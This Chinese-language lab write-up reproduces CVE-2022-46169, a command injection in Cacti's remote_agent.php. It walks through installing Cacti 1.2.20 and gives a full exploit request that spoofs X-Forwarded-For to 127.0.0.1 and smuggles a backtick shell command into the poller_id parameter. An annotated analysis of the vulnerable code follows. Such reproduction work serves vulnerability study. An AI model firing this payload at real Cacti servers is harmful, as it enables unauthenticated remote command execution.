CVE-2022-46169

Cacti remote_agent.php 前台命令注入漏洞(CVE-2022-46169)

​ Cacti是一个服务器监控与管理平台。在其1.2.17-1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。

参考链接:

漏洞复现

部署 cacti 1.2.20

安装 cacti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 进入部署目录
cd /var/www/html/

# 解压tar包
tar -zvxf cacti-release-1.2.20.tar.gz

# 修改include/config.php文件(编辑数据库连接)
vim cacti/include/config.php

$database_hostname = '127.0.0.1';
# 使用 localhost 必须要有 mysqlsocket 文件,不然有可能出错
$database_username = 'root';
$database_password = '123456';

# 手动导入配置文件,不导入有可能出现和我一样的错误,我第一次并没有导入
mysql -u root -p cacti < /var/www/html/cacti/cacti.sql

访问 IP/cacti/install/install.php 开始安装

有可能出现以下报错

image-20250724203257828

image-20250724204843698

image-20250725164001173

错误排查

事实上,我遇到的错误在于 没有手动导入 mysql 文件

  1. 确保自己的环境没问题 php + mysql + nginx

    • 安装 php-mysql

    • 启用 extension

    • 正确的配置了 nginx.conf & php.ini & php-fpm.conf

    • 测试本地环境的纯净脚本

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      <?php
      $conn = new mysqli("127.0.0.1", "root", "123456", "cacti");
      if ($conn->connect_error) {
      die("连接失败: " . $conn->connect_error);
      }
      $result = $conn->query("SELECT * FROM cacti_templates LIMIT 1");
      if ($conn->error) {
      die("查询失败: " . $conn->error);
      }
      var_dump($result->fetch_assoc());
      $conn->close();
      ?>
      # 确保 php + mysql 正确
      php filename.php
      # 确保 nginx + mysql + php 正确
      http://ip/filname.php
  2. 针对报错内容做出调整

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # 调大内存 /etc/php/7.3/fpm/php.ini
    memory_limit = 256M # 或更高(如 512M)

    # 假设 MySQL 用户名 root,密码 123456,Cacti 数据库已创建
    mysql -u root -p cacti < /var/www/html/cacti/cacti.sql

    # 添加超时设置
    fastcgi_connect_timeout 60;
    fastcgi_send_timeout 180;
    fastcgi_read_timeout 180; # 重点调大此项,原默认值可能为 60
  3. 查一查又没有同类型错误

    image-20250725105839535

  4. 更换docker环境,或者尝试更换不同的版本

漏洞环境

image-20250724210915539

image-20250725101552972

这一步仍然存在这非常多的错误和警告,但都有报错信息,依次解决即可,注意,要同时修改 /cli/php.ini/fpm/php.ini

image-20250725102110153

没有的安装一下

image-20250725102524682

nginx 的配置文件要写上 index.php 不然不能自动跳转

这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

选择的Graph Type是“Device - Uptime”,点击创建:

image-20250725103305620

漏洞环境部署成功

漏洞利用

192.168.23.135/cacti/remote_agent.php

1
2
3
4
5
6
7
8
9
10
11
12
GET /cacti/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: 192.168.23.135
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36 Edg/138.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Content-Length: 26

Connection: keep-alive

image-20250725140311044

1
2
# 无回显 payload
action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`

image-20250725171906891

代码分析

漏洞利用流程图

代码流程

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
//用于身份验证,但可以利用 X-Forwarded-For 伪造IP,以绕过此验证
if (!remote_client_authorized()) {
print 'FATAL: You are not authorized to use this service';
exit;
}
set_default_action();

//action 源于request传参,用户可控,可直接导向到 pool_for_data 代码执行函数
switch (get_request_var('action')) {
case 'polldata':
// Only let realtime polling run for a short time
ini_set('max_execution_time', read_config_option('script_timeout'));

debug('Start: Poling Data for Realtime');
poll_for_data();
debug('End: Poling Data for Realtime');

break;
//命令执行
function poll_for_data() {
global $config;
// 接收传参
$local_data_ids = get_nfilter_request_var('local_data_ids');
$host_id = get_filter_request_var('host_id');
// ger_nfilter_request_var 实际上没做过滤,导致了payload可以轻易上传
$poller_id = get_nfilter_request_var('poller_id');
$return = array();
$i = 0;

if (cacti_sizeof($local_data_ids)) {
foreach($local_data_ids as $local_data_id) {
//检查 data_id 是否为数字,表明local_data_id参数需上传为数组
input_validate_input_number($local_data_id);

// select * from poller_item where host_id = 1 and local_data_id = 6;
$items = db_fetch_assoc_prepared('SELECT *
FROM poller_item
WHERE host_id = ?
AND local_data_id = ?',
array($host_id, $local_data_id));
。。。。。。

if (cacti_sizeof($items)) {
// 循环 item 取出 mysql 查询到的 action
foreach($items as $item) {
switch ($item['action']) {
。。。。。。
case POLLER_ACTION_SCRIPT_PHP: /* script (php script server) */
$cactides = array(
0 => array('pipe', 'r'), // stdin is a pipe that the child will read from
1 => array('pipe', 'w'), // stdout is a pipe that the child will write to
2 => array('pipe', 'w') // stderr is a pipe to write to
);

if (function_exists('proc_open')) {
//真正的代码执行
$cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes);
//从管道中读取 1024 字节,也就是读一行
$output = fgets($pipes[1], 1024);
$using_proc_function = true;
} else {
$using_proc_function = false;
}

if ($using_proc_function == true) {
//重写输出的函数 $output = fgets($fp, 8192);
$output = trim(str_replace("\n", '', exec_poll_php($item['arg1'], $using_proc_function, $pipes, $cactiphp)));

//控制回显的函数
if (prepare_validate_result($output) === false)
。。。。。。。。。

// 回显
function prepare_validate_result(&$result) {
/* first trim the string */
$result = trim($result, "'\"\n\r");
/* clean off ugly non-numeric data */
if (is_numeric($result)) {
dsv_log('prepare_validate_result','data is numeric');
return true;
} elseif ($result == 'U') {
dsv_log('prepare_validate_result', 'data is U');
return true;
// 判断是否为16进制,是则返回 非0
} elseif (is_hexadecimal($result)) {
dsv_log('prepare_validate_result', 'data is hex');
return hexdec($result);
} elseif (substr_count($result, ':') || substr_count($result, '!')) {
/* looking for name value pairs */
// 判断是否有空格,没有返回 True
if (substr_count($result, ' ') == 0) {
dsv_log('prepare_validate_result', 'data has no spaces');
return true;
  • remote_client_authorized() ,除了 REMOTE_ADDR 外,其他头字段都可以被客户端伪造